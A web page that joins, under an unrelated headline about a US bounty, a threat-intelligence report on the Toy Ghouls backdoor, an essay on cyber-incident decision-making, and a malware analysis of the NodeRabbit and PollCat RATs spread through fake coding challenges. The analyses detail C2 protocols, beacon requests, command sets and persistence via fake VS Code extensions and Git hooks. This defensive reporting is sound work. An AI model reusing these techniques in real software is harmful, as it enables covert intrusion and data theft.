US Puts $10 Million Bounty on Alleged Iranian Cyber Chief
![]()

![]()

![]()
We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.
We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:
This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.
In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.
The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.
Other launch options are listed in the backdoor’s help output:
C:\cplsupport.exe -h Bird Agent - MQTT server monitor Usage: cplsupport.exe [OPTIONS] Options: -c, --config <CONFIG> Path to config.toml config file --install Install as a system service --uninstall Uninstall the system service --seal Encrypt sensitive config fields in-place using a machine-bound key -h, --help Print help -V, --version Print version
HiveMQ version backdoor help output
In the Element version, the backdoor help output looks as follows:
C:\wtass.exe -h Matrix monitoring agent Usage: wtass.exe [OPTIONS] [COMMAND] Commands: install Register this agent with the Matrix homeserver and panel uninstall Remove this agent's service and credentials service Run as a Windows service (internal) help Print this message or the help of the given subcommand(s) Options: -c, --config <CONFIG> -h, --help Print help -V, --version Print version
Element version backdoor help output
By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.
The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.
If the configuration cannot be decrypted, the backdoor stops running.
Encrypted configuration files look as follows:
The encrypted portion of the HiveMQ version’s configuration contains the following parameters:
agent_privkey: the agent’s private keychannel_id: the channel identifier used to communicate with the brokerserver_pubkey: the server’s public keyIn the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.
The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.
At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.
The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.
-NonInteractive -NoProfile -Command parameters.For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:
m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.m.bird.metrics message. Field names are slightly different from those in the first version:
{cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.
Kaspersky security solution verdicts:
File names and MD5 hashes:
Registry keys:
Service names:
Domain names:





Organizations today are not short of data, particularly in the domain of cyber. What many lack is a timely, trusted assessment that can help leaders act with greater confidence.
When a cyber incident begins, the technical questions surface first. What happened? Which systems are affected? Is the activity contained? But the questions that often shape the outcome are rarely technical alone. Who is behind the activity? What are they trying to achieve? Is this an isolated event or part of a broader campaign? Which customers, suppliers, assets or services are exposed? Is there a sanction, legal, regulatory or reputational dimension? And what is a proportionate immediate response while the facts are still incomplete?
This is why cyber is, in a meaningful sense, as much a human decision-making problem as a technological one. The OECD argues that digital security risk should be integrated into broader decision-making, rather than treated only as a technical issue. Tools can detect signals, spot patterns, correlate events and flag anomalies, but it takes people to decide what those signals mean, when to escalate, which trade-offs matter and what action the organization should take. In Moody’s recent whitepaper on supporting decision dominance through financial, corporate and trade intelligence, we make the case that the decisive moments in a cyber incident belong not only to systems, but to judgement.
That matters for CIOs and other technology decision-makers, because theirs is one of the most demanding decision environments in the enterprise. Reporting lines and structures vary by organization, but common themes tend to recur: technical complexity, compressed timelines, uncertain attribution and fragmented responsibility. Security teams may see indicators before they understand intent. Legal teams may need to assess obligations before the full scope of an incident is known. Communications teams often must prepare for scrutiny while operations are still working through containment. Business leaders may first need to decide when a decision must be made, then whether to pause a service, isolate a supplier, notify a regulator, issue a public statement or accept some temporary disruption to prevent greater harm.
The result can be a gap between signal and action, at a time when many organizations are experiencing a growing volume of cyber signals and alerts. Organizations commonly track mean time to detect and respond. But a less visible but equally consequential metric is decision latency: the time it takes to move from a technical signal to a shared understanding of what matters, and a decision about what to do. An organization can identify a threat quickly and still act too slowly if it cannot interpret the signal, convene the relevant stakeholders or agree on a proportionate response. The challenge is not simply speed — decisions made quickly but poorly can amplify harm. It is reducing decision latency without sacrificing judgement. This urgency is not theoretical and shouldn’t simply be admired. In her 2026 GCHQ Annual Lecture at Bletchley Park, Director Anne Keast-Butler described “a moment of consequence” shaped by the radical uncertainty. Her wider point is key for CIOs and their peers across the board: cyber security is a critical priority, and resilience depends on the ability to act with urgency, judgement and trusted partnerships.
Technical signals tend to become more useful when connected to wider context. A malicious domain, an unusual login, a compromised account or malware signature may tell a security team that something is happening. On its own, that signal rarely tells an executive what the organization should do next. Context reframes the question from “what does this indicator mean?” to “what decision should we make?”
That context can take several forms. Payment flows may provide additional context regarding the financial networks associated with an event or risk scenario. Ownership structures can help identify relationships between suppliers, counterparties or entities that may merit further review. Sanctions exposure may change the legal and compliance implications of a response. Adverse media may provide indicators of potential reputational or integrity concerns. Corporate linkages may reveal that what looks like a narrow technical event is in fact connected to a wider network of actors, assets or interests.
None of this removes uncertainty altogether, and no decision-maker should wait for perfect information before acting. What broader context does is improve the conditions under which judgement is exercised. Two incidents may look similar at the technical level but demand different leadership responses. One may be opportunistic criminal activity with limited broader consequence. Another may involve connections to a sanctioned entity, an organized crime network, a critical supplier or a state-linked ecosystem. The signal may look similar, but the appropriate response is not.
This distinction matters because cyber response is often not contained within the security function, especially in a learning organization. A serious incident typically draws in teams from across multiple disciplines, such as security, IT, legal, risk, compliance, finance, procurement, communications and business operations. It may also involve external parties such as law enforcement, intelligence agencies, regulators, financial institutions, infrastructure operators and key suppliers. The CIO will not own every lever in this environment, and organizational structure will influence how close to the centre of the systems they sit, dependencies and information flows that affect the organization’s ability to respond effectively. Is the CIO supported or supporting during an incident? What leeway is afforded the CIO to act when required?
A common challenge in cyber response is not the absence of technical capability, but the absence, or fragility, of a shared decision model. Teams will have data, dashboards and incident playbooks in place, but still lack clarity on who decides, what information is needed, which trade-offs are acceptable and how quickly business context can be brought to bear. Ensuring a common operating picture — one that gives the leadership team a shared understanding of the same facts — tends to be a differentiator between organizations that respond coherently and those that do not.
For CIOs and CEOs, this is an organizational design problem as much as a technology one. Experience suggests that a cyber strategy that stands alone may be less effective than one integrated into the organization’s broader strategy from the outset. Cyber maturity should not be judged only by the number of controls deployed, alerts processed or systems monitored, but also by the quality of the decisions an organization can make under pressure. Using scenarios to test decision making can help refine organizational design, highlight blockers that may emerge at critical times, and improve leaders’ understanding of the potential consequences of poor decision making. That wider coordination challenge is reflected in CISA’s incident response guidance, which treats serious cyber incidents as events requiring coordination across multiple stakeholders.
This is where integrated intelligence has a role to play. Its value lies less in the sheer volume of information it provides — most organizations already have more data than they can absorb — and more in its ability to help prioritize, separating signal from noise. It can help distinguish activity that is technically interesting from activity that may be strategically material. Used well, it can help identify enabling networks associated with an attack, inform disruption options and help focus scarce defensive resources on the assets, relationships and dependencies most likely to matter.
The aim is not to know everything. It is to develop sufficient understanding of the most relevant factors early enough to support timely actions while meaningful response options remain available.
CIOs can make this practical by asking five questions:
These questions move the conversation from reporting to leadership, and they reflect the human reality of cyber defence. Employees, analysts, managers and executives are asked to make repeated judgement calls under uncertainty, often with too much noise and too little time. Attackers are often well placed to exploit that reality; resilient organizations tend to design around it
Cybersecurity has spent years improving visibility, and that work remains essential. But visibility alone does not create resilience. The next challenge is decision quality.
For CIOs, the strategic shift is that cyber signals become most valuable when connected to real-world consequences: financial, operational, legal, reputational and geopolitical. In a fast-moving incident, the critical question is rarely whether the organization has more data. It is whether leaders can understand what matters, decide what to do and act while meaningful response options remain available.
The organizations that are often most effective in this environment are not necessarily those with the most dashboards. They are often those that have worked to reduce decision latency without sacrificing judgement, often through rehearsal, scenario testing and learning from gaps identified during those exercises. In an environment shaped by ambiguity, compressed timelines and interconnected risk, the ability to make better decisions faster may become one of the defining measures of not just cyber resilience, but of leadership itself.


![]()
While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.
NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.
During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.
Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.
Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*
During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.
The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip
It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.
The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.
The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.
Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.
The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.
The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.
The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.
We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.
Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.
NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.
NodeRabbit uses a persistence mechanism for each operating system:
| Operating system | Persistence mechanism |
| Windows | Copies itself to %APPDATA%\Microsoft\EdgeUpdate\msedge_update.js; clones the local node.exe to nodew.exe in the same folder and patches its PE subsystem from Console to Windows GUI to suppress the console window; creates HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate registry key executing nodew.exe msedge_update.js |
| Linux | Copies itself to ~/.config/microsoft-edge-update/msedge_update.js and creates an @reboot cron entry that invokes the script using the current Node.js executable. |
| macOS | Copies itself to ~/.config/microsoft-edge-update, creates ~/Library/LaunchAgents/com.microsoft.edgeupdate.plist configuration file pointing at the copy’s location with RunAtLoad and KeepAlive parameters, and attempts to load it. |
The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:
1. https://plugplay.azurewebsites[.]net 2. https://Rgbteller.azurewebsites[.]net 3. https://Wslwebui.azurewebsites[.]net
| Method | Endpoint | Purpose |
| POST | /api/rabbit/checkin | Register agent and host info |
| POST | /api/rabbit/task | Poll for commands |
| POST | /api/rabbit/result | Submit results |
NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:
The malware sends encrypted requests using the following structure:
{
"d": "base64(IV || ciphertext || authentication_tag)",
"_r": "8 hexadecimal characters",
"_t": "epoch timestamp"
}C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:
| Command | Functionality |
| sys:info | Return hostname, domain user information, username, and process ID. |
| proc:list | List running processes. |
| proc:start | Execute an arbitrary shell command. |
| fs:list | List a directory. |
| fs:read | Read a file in chunks and return Base64 data. |
| fs:write | Decode Base64 and write it at a chosen file offset. |
| fs:delete | Delete a file or recursively delete a directory. |
| fs:mkdir | Create directories recursively. |
| net:config | Enumerate adapters, MAC addresses, IP addresses, and DNS settings. |
| agent:sleep | Change the beacon interval. |
| script:exec | Write a base64 Node.js script to a randomly named .tmp file, execute it and delete it. |
Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.
Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.
Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.
Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.
To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).
The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.
For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.
| Operating system | Persistence mechanism |
| Windows | Copies itself to %LOCALAPPDATA%\Intel\DSA\idriver_support.js. It then copies the local node.exe binary to IntelDSA.exe and changes its PE subsystem from Console to Windows GUI, suppressing the console window. Finally, it creates a scheduled task named IntelDriverSupportUpdate, which runs daily at 10AM and executes IntelDSA.exe with the dropped script. |
| Linux | Copies itself to ~/.config/intel-dsa/idriver_support.js and creates an @reboot cron entry. |
| macOS | Copies itself to ~/Library/Application Support/Intel DSA/idriver_support.js and creates the LaunchAgent com.intel.dsa.helper with RunAtLoad and KeepAlive enabled. |
Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.
The third variant communicates with its C2 infrastructure through a different set of API endpoints:
| Method | Endpoint | Purpose |
| POST | /sdk/v2/ready | Register agent and host info |
| POST | /sdk/v2/config | Poll for commands |
| POST | /sdk/v2/events | Submit results |
We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.
1. https://visitfinancedentists[.]com 2. https://kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net 3. https://healthcomfsdpower[.]com
For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:
| Operating system | Persistence mechanism |
| Windows | Attempts to copy the payload to ProgramData or LocalAppData, create a build-specific daily 10AM task, and start the copied payload. To choose the exact directory, it tries to list C:\Windows\System32\config. If successful, it selects ProgramData with /ru SYSTEM /rl highest; in case of a failure, it selects LocalAppData without explicit /ru or /rl settings. |
| macOS | Copies the payload to ~/Library/Application Support, creates and loads a RunAtLoad/KeepAlive LaunchAgent and starts the copied payload. |
| Linux | Copies the payload to ~/.local/share, attempts to add an @reboot cron entry, and starts the copied payload. If crontab -l fails, persistence is skipped. |
| WSL | Uses the payload copied for persistence on the main Linux system, as described above. Writes launcher.vbs under the Windows user profile, and creates a daily 10AM Windows task that relaunches it through wscript.exe and wsl.exe. |
A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.
| New commands | Functionality |
| fs:drives | Enumerate accessible Windows drive letters or WSL-mounted drives |
| proc:exec | Execute a process |
| proc:kill | Kill process by PID or image name |
| agent:servers | Replace the active C2 and attempt to keep the new configuration |
| agent:getchain | Return the current C2 |
| outlook:emails | Harvest account addresses from Outlook OST and PST artifacts |
| persist:check | Check selected VS Code, scheduled-task, and Run-key persistence indicators |
| persist:vscode | Attempt to install a fake VS Code extension and Windows Run value |
| persist:vscode:remove | Remove the fake extension |
| persist:projects:scan | Search recent and common development locations for Git repositories |
| persist:project:inject | Inject a launcher into a repository’s Git hooks |
| persist:project:remove | Remove the marked Git-hook launcher |
Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.
The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.
The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.
Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.
Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.
For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.
While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.
Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.
The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.
One-hour session window enforced by the trojanized coding challenge
The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.
Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier
The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.
That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.
A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.
Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:
| Operation system | Persistence mechanism |
| Windows | Writes package.json and requireObject.js to %APPDATA%\Microsoft\Network, runs npm install, and creates a daily task named NetSync_<username> and scheduled for 09AM that runs the worker with Node.js. |
| Linux | Writes the worker to ~/.node_packages, runs npm i, and appends both a daily 09AM cron line and an @reboot line. |
| macOS | Uses the same ~/.node_packages copy and cron path, then creates and loads ~/Library/LaunchAgents/com.harsh.requireobject.plist with RunAtLoad and a daily 09AM trigger. |
Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:
1. https://sahi-finance[.]com 2. https://GamebarAppinformation[.]azurewebsites[.]net 3. https://GamebarApp[.]azurewebsites[.]net
To register, it sends the following HTTP request to the C2:
POST /beacon HTTP/1.1
Host: <c2-host>
Content-Type: application/json
{"clientId":"<client-id>","type":"poll","pcName":"<hostname>","userName":"<username>"}On successful registration, PollCat expects an unusual HTTP 400 response containing a socket identifier and optional timing values:
HTTP/1.1 400
Content-Type: application/json
{"socketId":"<socket-id>","pollInterval":<poll-interval-ms>,"jitterTime":<jitter-ms>}After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.
| Method | Endpoint | Purpose |
| POST | /beacon | Register the client and obtain a socketId and optional timing values. |
| POST | /gate/hello | Submit host, user, domain, OS information, and its current privilege level. |
| GET | /gate/fetch?token=<socketId> | Poll for commands. |
| POST | /gate/submit | Submit a Base64-encoded command-result structure. |
| GET | /vault/<uuid> | Retrieve a hosted file and write it to the victim machine. |
| PUT | /vault/push/ | Upload a local file or file chunk to the C2. |
| POST | /gate/track | Report chunk-upload progress. |
By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.
PollCat RAT declares 22 commands, but three of them have no implementation:
| Command | Functionality |
| 0x02 (DIR) | List a directory. |
| 0x03 (MV) | Move a file or directory. |
| 0x04 (RUN) | Execute a shell command. |
| 0x05 (TASKLIST) | List running processes. |
| 0x06 (DEL) | Delete a file or directory. |
| 0x07 (UPLOAD) | Download a file from the C2 to the victim’s machine. |
| 0x08 (DOWNLOAD) | Upload a local file to the C2. |
| 0X09 (DRIVES) | List drives, volumes, or mount points. |
| 0X0A (TERMINATE) | Terminate a process by PID. |
| 0X0B (RUNDLL) | Load a DLL and call an exported function on Windows. |
| 0X0C (MKDIR) | Create a directory. |
| 0X0D (ZIP) | Create or extract a ZIP archive. |
| 0X0E (CHUNKED_DOWNLOAD) | Upload a local file in chunks. |
| 0X0F (RUN_HIDDEN) | Start a hidden background process. |
| 0X20 (EVAL_JS) | Execute JavaScript supplied by the C2. |
| 0X30 (SYSTEM_CHECK) | Collect process and software inventory. |
| 0XA1 (WS_DOWNLOAD) | Defined but not implemented. |
| 0xB0 (REQUEST_ELEVATION) | Defined but not implemented. |
| 0XB1 (PERSIST) | Defined but not implemented. |
| 0xF0 (SET_SLEEP_TIME) | Change the polling interval. |
| 0XF1 (SET_IDLE_TIME) | Store an idle-time value. |
| 0xF2 (SET_JITTER_TIME) | Change polling jitter. |
The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.
EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions.
SYSTEM_CHECK collects the names of running processes and lists files and folders from:
It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.
When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.
Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.
| Domain | Registrar | ASN | Malware sample |
| naturalapplication.azurewebsites[.]net retaildemo.azurewebsites[.]net tubitak.azurewebsites[.]net |
MarkMonitor Inc. | AS 8075 | NodeRabbit RAT sample 1 |
| rgbteller.azurewebsites[.]net wslwebui.azurewebsites[.]net plugplay.azurewebsites[.]net |
MarkMonitor Inc. | AS 8075 | NodeRabbit RAT sample 2 |
| crossdwm.azurewebsites[.]net wdisystem.azurewebsites[.]net wslmenus.azurewebsites[.]net |
MarkMonitor Inc. | AS 8075 | NodeRabbit RAT sample 3 |
| dnshnsdev.azurewebsites[.]net hpjumpsrv.azurewebsites[.]net storview.azurewebsites[.]net |
MarkMonitor Inc. | AS 8075 | NodeRabbit RAT sample 4 |
| healthcomfsdpower[.]com visitfinancedentists[.]com |
NameCheap, Inc. | AS 13335 | NodeRabbit RAT sample 5 |
| kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net | MarkMonitor Inc. | AS 8075 | |
| greenyjsgfd.azurewebsites[.]net helptellerbls.azurewebsites[.]net timedrv.azurewebsites[.]net userwellgtfs.azurewebsites[.]net |
MarkMonitor Inc. | AS 8075 | NodeRabbit RAT sample 6 |
| hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net msmanagementgrp[.]com msmanagementgrpmedia[.]com |
MarkMonitor Inc. | AS 8075 | NodeRabbit RAT sample 7 |
| lifespotify[.]com | Dynadot | AS 8075 | PollCat RAT |
| gamebarapp.azurewebsites[.]net gamebarappinformation.azurewebsites[.]net |
MarkMonitor Inc. | ||
| sahi-finance[.]com | NameCheap, Inc. |
Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com
Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.
| Domain | Creation date | Registrar |
| healthful-hub[.]com | 2026-07-03 | NameCheap, Inc. |
| neumedicahealthcare[.]com | 2026-07-03 | NameCheap, Inc. |
| optimumhealthcredit[.]com | 2026-07-03 | NameCheap, Inc. |
| healthfullyrecipes[.]com | 2026-06-30 | NameCheap, Inc. |
| refreshhealthandwellness[.]com | 2026-06-09 | NameCheap, Inc. |
| healthvitalitycare[.]com | 2026-05-18 | NameCheap, Inc. |
| aceofspadesmanagement[.]com | 2026-05-18 | NameCheap, Inc. |
| glmediaagency[.]com | 2026-05-18 | NameCheap, Inc. |
| digimediaskill[.]com | 2026-05-18 | NameCheap, Inc. |
| healthyweightplan[.]com | 2026-05-18 | NameCheap, Inc. |
| mens-health-online[.]com | 2026-05-15 | NameCheap, Inc. |
Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.
We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.
